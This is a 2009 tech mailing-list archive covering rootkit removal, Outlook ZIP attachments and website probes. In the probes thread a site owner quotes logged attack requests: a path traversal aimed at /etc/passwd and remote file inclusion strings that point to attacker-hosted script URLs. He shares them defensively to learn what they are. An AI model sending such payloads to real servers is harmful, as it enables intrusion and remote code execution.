> I have just installed Vipre on an old Win2K PC and the first scan found a 
> "Generic MBR Rootkit", recommended action "Quarantaine".
> when I clicked "Clean", it showed up as "Allowed".
> scanned again, found the rootkit again, this time I definetely set it to 
> "Delete", hit Clean and again it shows up as allowed.
>
> Obviously this kid is able to cheat Vipre.
>
> just ran Malwarebytes, which did not find that rootkit - at least not with 
> quickscan. now running deep scan.
>
> any idea how to get rid of that beast?
>
> thanks
> Lembit
>
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From john at winhaven.net  Thu Apr  9 14:58:30 2009
From: john at winhaven.net (John Bartow)
Date: Thu, 9 Apr 2009 14:58:30 -0500
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <708A902B56F249B7AC37754D4EE37287@s1800>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net>	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
Message-ID: <023b01c9b94d$8e96fd10$abc4f730$@net>

I recommend you run Anti-vir free as another detection/fix.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Lembit Soobik
Sent: Thursday, April 09, 2009 4:02 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Generic MBR Rootkit and Vipre

Hi,
I have just installed Vipre on an old Win2K PC and the first scan found a 
"Generic MBR Rootkit", recommended action "Quarantaine".
when I clicked "Clean", it showed up as "Allowed".
scanned again, found the rootkit again, this time I definetely set it to 
"Delete", hit Clean and again it shows up as allowed.

Obviously this kid is able to cheat Vipre.

just ran Malwarebytes, which did not find that rootkit - at least not with 
quickscan. now running deep scan.

any idea how to get rid of that beast?

thanks
Lembit 

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From peter.brawley at earthlink.net  Thu Apr  9 22:35:42 2009
From: peter.brawley at earthlink.net (Peter Brawley)
Date: Thu, 09 Apr 2009 22:35:42 -0500
Subject: [dba-Tech] weird website probes
Message-ID: <49DEBE8E.80306@earthlink.net>

I've taken to studying NotFound/Unauthorised errors at our site. We get 
hundreds of weird probes a day, mostly in bursts, eg just a few minutes 
ago we got about a dozen of these in a few seconds:

www.artfulsoftware.com/php_mysql_win.html%20%20/index.php?var=http://www.candidography.com/zero/id1.txt??

www.artfulsoftware.com/php_mysql_win.html is a real page. The rest looks 
like a probe of some sort. A probe for what? GET-based vulnerabilities?  
Anybody have an idea what such vandals might be trying to accomplish?

PB






From rockysmolin at bchacc.com  Fri Apr 10 12:41:34 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 10:41:34 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
Message-ID: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>

Dear List:

When I create an email and click Attach, I can browse the folders and all
the files show up in the dialog box except those with a .ZIP extension.
Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
went wrong (nor care).  Just want to fix it.  Does anyone know why this
would happen?

 

TIA

 

Rocky

 


From accessd at shaw.ca  Fri Apr 10 12:41:53 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Fri, 10 Apr 2009 10:41:53 -0700
Subject: [dba-Tech] weird website probes
In-Reply-To: <49DEBE8E.80306@earthlink.net>
References: <49DEBE8E.80306@earthlink.net>
Message-ID: <069D23DCA3534E0AA19910FCC2993ACD@creativesystemdesigns.com>

Hi Peter:

All sites get probed for weaknesses on the web. That is pretty standard.
Below is a list of common searches performed by serious hackers looking for
opportunities:

1. If any of your directories are readable and have important data that
information can be cleamed. If you have any important data in a website it
is open to anyone. There are many open-source or free products like
'BackStreetBrowser' (http://www.spadixbd.com/backstreet/) that can copy a
whole site as fast as the bandwidth will allow. 
2. Any directories that are writable can be used to either store temporary
information or leave time-bombs in hope that you may try and run them...
some gullible or tired webmasters have even inadvertently spawned zombies on
their sites that way.
3. Some sites that have open FTP (command line) accessible and even password
protected may find someone running a little loop routine attempting a
dictionary attack... given that there are usually no limits to how many
'trys' the hacker is allowed.
4. If you manager your own mail within your website build your mail service
correctly. Use a Captcha, return email etc... Any web site beyond a Postcard
site needs a database and a programmed backend for security and management.
5. If you do have admin access from your site keep the pasword long and
filled with mixed cases, numbers and special characters.

Outside of that you are really pretty safe. 

If you are using IIS, check you logs and see if there is a consistency of
login attempts: c:<windows directory>/system32/logfiles/*.log and if there
is you can block the range of IPs through IIS > default SMTP > properties >
Connection  > add. The site http://whois.domaintools.com/ can be a great
source for specifics on a hacker's locations. (I have found traditionally
client's attackers are from China and central European.)

You may already know all this but I HTH.

Jim  

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Peter Brawley
Sent: Thursday, April 09, 2009 8:36 PM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] weird website probes

I've taken to studying NotFound/Unauthorised errors at our site. We get 
hundreds of weird probes a day, mostly in bursts, eg just a few minutes 
ago we got about a dozen of these in a few seconds:

www.artfulsoftware.com/php_mysql_win.html%20%20/index.php?var=http://www.can
didography.com/zero/id1.txt??

www.artfulsoftware.com/php_mysql_win.html is a real page. The rest looks 
like a probe of some sort. A probe for what? GET-based vulnerabilities?  
Anybody have an idea what such vandals might be trying to accomplish?

PB




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From accessd at shaw.ca  Fri Apr 10 12:49:04 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Fri, 10 Apr 2009 10:49:04 -0700
Subject: [dba-Tech] More Google stuff
In-Reply-To: <069D23DCA3534E0AA19910FCC2993ACD@creativesystemdesigns.com>
References: <49DEBE8E.80306@earthlink.net>
	<069D23DCA3534E0AA19910FCC2993ACD@creativesystemdesigns.com>
Message-ID: <ED2B2DB35D9E48D0B2CDE334AD827F5D@creativesystemdesigns.com>

Hi All:

Has anyone heard of latitude from Google. If not check out the video and
locations in real-time ability:
http://services.google.com/latitudevideo/view.html#n0qtkdr5m0qdcchs5z0EQDC5s
0Oghk

Jim



From accessd at shaw.ca  Fri Apr 10 12:51:16 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Fri, 10 Apr 2009 10:51:16 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
Message-ID: <582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>

Hi Rocky:

Check this out: http://www.slipstick.com/problems/zip.htm

HTH
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 10:42 AM
To: List
Subject: [dba-Tech] Attaching Zip Files in Outlook

Dear List:

When I create an email and click Attach, I can browse the folders and all
the files show up in the dialog box except those with a .ZIP extension.
Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
went wrong (nor care).  Just want to fix it.  Does anyone know why this
would happen?

 

TIA

 

Rocky

 




From garykjos at gmail.com  Fri Apr 10 12:54:26 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Fri, 10 Apr 2009 12:54:26 -0500
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
Message-ID: <aea6c4950904101054i685c4e10xbc5b9eeab501e349@mail.gmail.com>

Mine still does. Are you SURE they are not still there but are in a
different sequence? like maybe at the bottom of the list?  Windows
likes to treat the Zip files like FOLDERS instead of files sometimes
too.

You are using Outlook 2003 or 2007?

GK

On Fri, Apr 10, 2009 at 12:41 PM, Rocky Smolin <rockysmolin at bchacc.com> wrote:
> Dear List:
>
> When I create an email and click Attach, I can browse the folders and all
> the files show up in the dialog box except those with a .ZIP extension.
> Very annoying and inconvenient. ?It used to show the ZIPs. ?Don't know what
> went wrong (nor care). ?Just want to fix it. ?Does anyone know why this
> would happen?
>
>
>
> TIA
>
>
>
> Rocky
>
>
>
>
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>



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From garykjos at gmail.com  Fri Apr 10 12:56:08 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Fri, 10 Apr 2009 12:56:08 -0500
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
Message-ID: <aea6c4950904101056m5a7f1c4dyc7e7703fcef00ad@mail.gmail.com>

Wow, good find Jim!

GK

On Fri, Apr 10, 2009 at 12:51 PM, Jim Lawrence <accessd at shaw.ca> wrote:
> Hi Rocky:
>
> Check this out: http://www.slipstick.com/problems/zip.htm
>
> HTH
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
> Sent: Friday, April 10, 2009 10:42 AM
> To: List
> Subject: [dba-Tech] Attaching Zip Files in Outlook
>
> Dear List:
>
> When I create an email and click Attach, I can browse the folders and all
> the files show up in the dialog box except those with a .ZIP extension.
> Very annoying and inconvenient. ?It used to show the ZIPs. ?Don't know what
> went wrong (nor care). ?Just want to fix it. ?Does anyone know why this
> would happen?
>
>
>
> TIA
>
>
>
> Rocky
>
>
>
>
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From rockysmolin at bchacc.com  Fri Apr 10 13:55:42 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 11:55:42 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
Message-ID: <72A181DFDBE04520ACF204BBD11C5782@HAL9005>

I saw that.  But I was a little shaky on disabling the compressed folder
feature.  What do I lose?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Friday, April 10, 2009 10:51 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

Hi Rocky:

Check this out: http://www.slipstick.com/problems/zip.htm

HTH
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 10:42 AM
To: List
Subject: [dba-Tech] Attaching Zip Files in Outlook

Dear List:

When I create an email and click Attach, I can browse the folders and all
the files show up in the dialog box except those with a .ZIP extension.
Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
went wrong (nor care).  Just want to fix it.  Does anyone know why this
would happen?

 

TIA

 

Rocky

 


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From rockysmolin at bchacc.com  Fri Apr 10 13:57:54 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 11:57:54 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <aea6c4950904101054i685c4e10xbc5b9eeab501e349@mail.gmail.com>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
	<aea6c4950904101054i685c4e10xbc5b9eeab501e349@mail.gmail.com>
Message-ID: <7046C2987430476F9BA25B40B56AFE54@HAL9005>

Outlook 2003, I display the extensions, and they really are gone.

Rocky 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gary Kjos
Sent: Friday, April 10, 2009 10:54 AM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

Mine still does. Are you SURE they are not still there but are in a
different sequence? like maybe at the bottom of the list?  Windows likes to
treat the Zip files like FOLDERS instead of files sometimes too.

You are using Outlook 2003 or 2007?

GK

On Fri, Apr 10, 2009 at 12:41 PM, Rocky Smolin <rockysmolin at bchacc.com>
wrote:
> Dear List:
>
> When I create an email and click Attach, I can browse the folders and 
> all the files show up in the dialog box except those with a .ZIP
extension.
> Very annoying and inconvenient. ?It used to show the ZIPs. ?Don't know 
> what went wrong (nor care). ?Just want to fix it. ?Does anyone know 
> why this would happen?
>
>
>
> TIA
>
>
>
> Rocky
>
>
>
>
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>



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From accessd at shaw.ca  Fri Apr 10 14:08:41 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Fri, 10 Apr 2009 12:08:41 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <72A181DFDBE04520ACF204BBD11C5782@HAL9005>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
	<72A181DFDBE04520ACF204BBD11C5782@HAL9005>
Message-ID: <42AB3AFBFBE948B1AE57556F23C5D0B8@creativesystemdesigns.com>

You do not have to. I just open a file-manager window and drag and drop into
my Outlook email. It is almost as fast and it does not require any
adjustments on your part.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 11:56 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

I saw that.  But I was a little shaky on disabling the compressed folder
feature.  What do I lose?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Friday, April 10, 2009 10:51 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

Hi Rocky:

Check this out: http://www.slipstick.com/problems/zip.htm

HTH
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 10:42 AM
To: List
Subject: [dba-Tech] Attaching Zip Files in Outlook

Dear List:

When I create an email and click Attach, I can browse the folders and all
the files show up in the dialog box except those with a .ZIP extension.
Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
went wrong (nor care).  Just want to fix it.  Does anyone know why this
would happen?

 

TIA

 

Rocky

 


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From peter.brawley at earthlink.net  Fri Apr 10 14:20:47 2009
From: peter.brawley at earthlink.net (Peter Brawley)
Date: Fri, 10 Apr 2009 14:20:47 -0500
Subject: [dba-Tech] weird website probes
In-Reply-To: <069D23DCA3534E0AA19910FCC2993ACD@creativesystemdesigns.com>
References: <49DEBE8E.80306@earthlink.net>
	<069D23DCA3534E0AA19910FCC2993ACD@creativesystemdesigns.com>
Message-ID: <49DF9C0F.2060005@earthlink.net>

Hi Jim,

Thanks very much, yes it's on Linux (wouldn't dream of trying to serve a 
website from Winders), it's db-driven, access info is outside the 
document tree, I block known website copiers via .htaccess (but of 
course new ones keep appearing). Most of the hack attempts emanate from 
China, Russia, Mexico & the Czech Republic. Most of the probes are 
automated (too fast to be manual), these sorts of strings appended in a 
very few secs to ten or so existing page urls ...

index.php?var=../../../../../../../../../../../../../../../../etc/passwd%00
out.html
?page=http://kbapt.co.kr/bbs/templates/id1.txt?????
?page=http://mir-linux.ru/lang/idfx1.txt??
?page=http://www.allati-finomsagok.hu/components/com_virtuemart/shop_image/product/resized/thumbnail/id1.txt??
?UL=1&ACT=4&BUILD=6551&STRMVER=4&CAPREQ=0
&qsrc=2870
%20%20/index.php?var=http://www.candidography.com/zero/id1.txt
%20.../werbungFrame.php?do=http://pastebin.com/f448457c2????

Well, the first one is trying to find a password hiding in a GET, lol, 
but the rest are obscure. I was wondering if anyone recognises these probes.

PB

-----

Jim Lawrence wrote:
> Hi Peter:
>
> All sites get probed for weaknesses on the web. That is pretty standard.
> Below is a list of common searches performed by serious hackers looking for
> opportunities:
>
> 1. If any of your directories are readable and have important data that
> information can be cleamed. If you have any important data in a website it
> is open to anyone. There are many open-source or free products like
> 'BackStreetBrowser' (http://www.spadixbd.com/backstreet/) that can copy a
> whole site as fast as the bandwidth will allow. 
> 2. Any directories that are writable can be used to either store temporary
> information or leave time-bombs in hope that you may try and run them...
> some gullible or tired webmasters have even inadvertently spawned zombies on
> their sites that way.
> 3. Some sites that have open FTP (command line) accessible and even password
> protected may find someone running a little loop routine attempting a
> dictionary attack... given that there are usually no limits to how many
> 'trys' the hacker is allowed.
> 4. If you manager your own mail within your website build your mail service
> correctly. Use a Captcha, return email etc... Any web site beyond a Postcard
> site needs a database and a programmed backend for security and management.
> 5. If you do have admin access from your site keep the pasword long and
> filled with mixed cases, numbers and special characters.
>
> Outside of that you are really pretty safe. 
>
> If you are using IIS, check you logs and see if there is a consistency of
> login attempts: c:<windows directory>/system32/logfiles/*.log and if there
> is you can block the range of IPs through IIS > default SMTP > properties >
> Connection  > add. The site http://whois.domaintools.com/ can be a great
> source for specifics on a hacker's locations. (I have found traditionally
> client's attackers are from China and central European.)
>
> You may already know all this but I HTH.
>
> Jim  
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Peter Brawley
> Sent: Thursday, April 09, 2009 8:36 PM
> To: Discussion of Hardware and Software issues
> Subject: [dba-Tech] weird website probes
>
> I've taken to studying NotFound/Unauthorised errors at our site. We get 
> hundreds of weird probes a day, mostly in bursts, eg just a few minutes 
> ago we got about a dozen of these in a few seconds:
>
> www.artfulsoftware.com/php_mysql_win.html%20%20/index.php?var=http://www.can
> didography.com/zero/id1.txt??
>
> www.artfulsoftware.com/php_mysql_win.html is a real page. The rest looks 
> like a probe of some sort. A probe for what? GET-based vulnerabilities?  
> Anybody have an idea what such vandals might be trying to accomplish?
>
> PB
>
>
>
>
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>
>
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>
>   


From rockysmolin at bchacc.com  Fri Apr 10 14:21:33 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 12:21:33 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <42AB3AFBFBE948B1AE57556F23C5D0B8@creativesystemdesigns.com>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005><582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com><72A181DFDBE04520ACF204BBD11C5782@HAL9005>
	<42AB3AFBFBE948B1AE57556F23C5D0B8@creativesystemdesigns.com>
Message-ID: <B8FAF8B5B7784D4BB4FD0B71FDDAB130@HAL9005>

That's way too easy.

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Friday, April 10, 2009 12:09 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

You do not have to. I just open a file-manager window and drag and drop into
my Outlook email. It is almost as fast and it does not require any
adjustments on your part.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 11:56 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

I saw that.  But I was a little shaky on disabling the compressed folder
feature.  What do I lose?

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Friday, April 10, 2009 10:51 AM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

Hi Rocky:

Check this out: http://www.slipstick.com/problems/zip.htm

HTH
Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
Sent: Friday, April 10, 2009 10:42 AM
To: List
Subject: [dba-Tech] Attaching Zip Files in Outlook

Dear List:

When I create an email and click Attach, I can browse the folders and all
the files show up in the dialog box except those with a .ZIP extension.
Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
went wrong (nor care).  Just want to fix it.  Does anyone know why this
would happen?

 

TIA

 

Rocky

 


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From garykjos at gmail.com  Fri Apr 10 14:25:20 2009
From: garykjos at gmail.com (Gary Kjos)
Date: Fri, 10 Apr 2009 14:25:20 -0500
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <B8FAF8B5B7784D4BB4FD0B71FDDAB130@HAL9005>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>
	<72A181DFDBE04520ACF204BBD11C5782@HAL9005>
	<42AB3AFBFBE948B1AE57556F23C5D0B8@creativesystemdesigns.com>
	<B8FAF8B5B7784D4BB4FD0B71FDDAB130@HAL9005>
Message-ID: <aea6c4950904101225w596845f1i4b2017b47200bef8@mail.gmail.com>

I generally right click and SEND TO EMAIL RECIPIENT.

GK

On Fri, Apr 10, 2009 at 2:21 PM, Rocky Smolin <rockysmolin at bchacc.com> wrote:
> That's way too easy.
>
> Rocky
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
> Sent: Friday, April 10, 2009 12:09 PM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> You do not have to. I just open a file-manager window and drag and drop into
> my Outlook email. It is almost as fast and it does not require any
> adjustments on your part.
>
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
> Sent: Friday, April 10, 2009 11:56 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> I saw that. ?But I was a little shaky on disabling the compressed folder
> feature. ?What do I lose?
>
> Rocky
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
> Sent: Friday, April 10, 2009 10:51 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> Hi Rocky:
>
> Check this out: http://www.slipstick.com/problems/zip.htm
>
> HTH
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
> Sent: Friday, April 10, 2009 10:42 AM
> To: List
> Subject: [dba-Tech] Attaching Zip Files in Outlook
>
> Dear List:
>
> When I create an email and click Attach, I can browse the folders and all
> the files show up in the dialog box except those with a .ZIP extension.
> Very annoying and inconvenient. ?It used to show the ZIPs. ?Don't know what
> went wrong (nor care). ?Just want to fix it. ?Does anyone know why this
> would happen?
>
>
>
> TIA
>
>
>
> Rocky
>
>
>
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
> _______________________________________________
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> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
> _______________________________________________
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>



-- 
Gary Kjos
garykjos at gmail.com



From rockysmolin at bchacc.com  Fri Apr 10 14:32:25 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 12:32:25 -0700
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <aea6c4950904101225w596845f1i4b2017b47200bef8@mail.gmail.com>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005><582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com><72A181DFDBE04520ACF204BBD11C5782@HAL9005><42AB3AFBFBE948B1AE57556F23C5D0B8@creativesystemdesigns.com><B8FAF8B5B7784D4BB4FD0B71FDDAB130@HAL9005>
	<aea6c4950904101225w596845f1i4b2017b47200bef8@mail.gmail.com>
Message-ID: <57CC54D258374549B959F95466A37F36@HAL9005>

Me too.  The problem comes when I need to REPLY and attach.  But drag and
drop will work.

Rocky 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Gary Kjos
Sent: Friday, April 10, 2009 12:25 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

I generally right click and SEND TO EMAIL RECIPIENT.

GK

On Fri, Apr 10, 2009 at 2:21 PM, Rocky Smolin <rockysmolin at bchacc.com>
wrote:
> That's way too easy.
>
> Rocky
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim 
> Lawrence
> Sent: Friday, April 10, 2009 12:09 PM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> You do not have to. I just open a file-manager window and drag and 
> drop into my Outlook email. It is almost as fast and it does not 
> require any adjustments on your part.
>
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky 
> Smolin
> Sent: Friday, April 10, 2009 11:56 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> I saw that. ?But I was a little shaky on disabling the compressed 
> folder feature. ?What do I lose?
>
> Rocky
>
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim 
> Lawrence
> Sent: Friday, April 10, 2009 10:51 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
>
> Hi Rocky:
>
> Check this out: http://www.slipstick.com/problems/zip.htm
>
> HTH
> Jim
>
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky 
> Smolin
> Sent: Friday, April 10, 2009 10:42 AM
> To: List
> Subject: [dba-Tech] Attaching Zip Files in Outlook
>
> Dear List:
>
> When I create an email and click Attach, I can browse the folders and 
> all the files show up in the dialog box except those with a .ZIP
extension.
> Very annoying and inconvenient. ?It used to show the ZIPs. ?Don't know 
> what went wrong (nor care). ?Just want to fix it. ?Does anyone know 
> why this would happen?
>
>
>
> TIA
>
>
>
> Rocky
>
>
>
>
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
> _______________________________________________
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> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
> _______________________________________________
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> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
>
> _______________________________________________
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> http://databaseadvisors.com/mailman/listinfo/dba-tech
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>



--
Gary Kjos
garykjos at gmail.com

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From stuart at lexacorp.com.pg  Fri Apr 10 16:41:55 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Sat, 11 Apr 2009 07:41:55 +1000
Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <72A181DFDBE04520ACF204BBD11C5782@HAL9005>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>,
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>,
	<72A181DFDBE04520ACF204BBD11C5782@HAL9005>
Message-ID: <49DFBD23.11126.E779BEC@stuart.lexacorp.com.pg>

WIndows will not treat zip files as folders so you will lose the capabilities discussed on this 
list in the thread "Hardware, Software and WetWare" on 16/17 Feb this year.   You will need 
a third party application such as WinZip, 7Zip, WinRAR etc to do anything with zip files. 

You also won't be able to use ShellApllication to manipulate Zip files programmatically in 
VBA (see my posting in dba-Access of 17 Feb  for an example)

Stuart

On 10 Apr 2009 at 11:55, Rocky Smolin wrote:

> I saw that.  But I was a little shaky on disabling the compressed folder
> feature.  What do I lose?
> 
> Rocky
>  
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
> Sent: Friday, April 10, 2009 10:51 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
> 
> Hi Rocky:
> 
> Check this out: http://www.slipstick.com/problems/zip.htm
> 
> HTH
> Jim
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky Smolin
> Sent: Friday, April 10, 2009 10:42 AM
> To: List
> Subject: [dba-Tech] Attaching Zip Files in Outlook
> 
> Dear List:
> 
> When I create an email and click Attach, I can browse the folders and all
> the files show up in the dialog box except those with a .ZIP extension.
> Very annoying and inconvenient.  It used to show the ZIPs.  Don't know what
> went wrong (nor care).  Just want to fix it.  Does anyone know why this
> would happen?
> 
>  
> 
> TIA
> 
>  
> 
> Rocky
> 
>  
> 
> 
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
> 
> _______________________________________________
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> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com




From rockysmolin at bchacc.com  Fri Apr 10 16:50:10 2009
From: rockysmolin at bchacc.com (Rocky Smolin)
Date: Fri, 10 Apr 2009 14:50:10 -0700
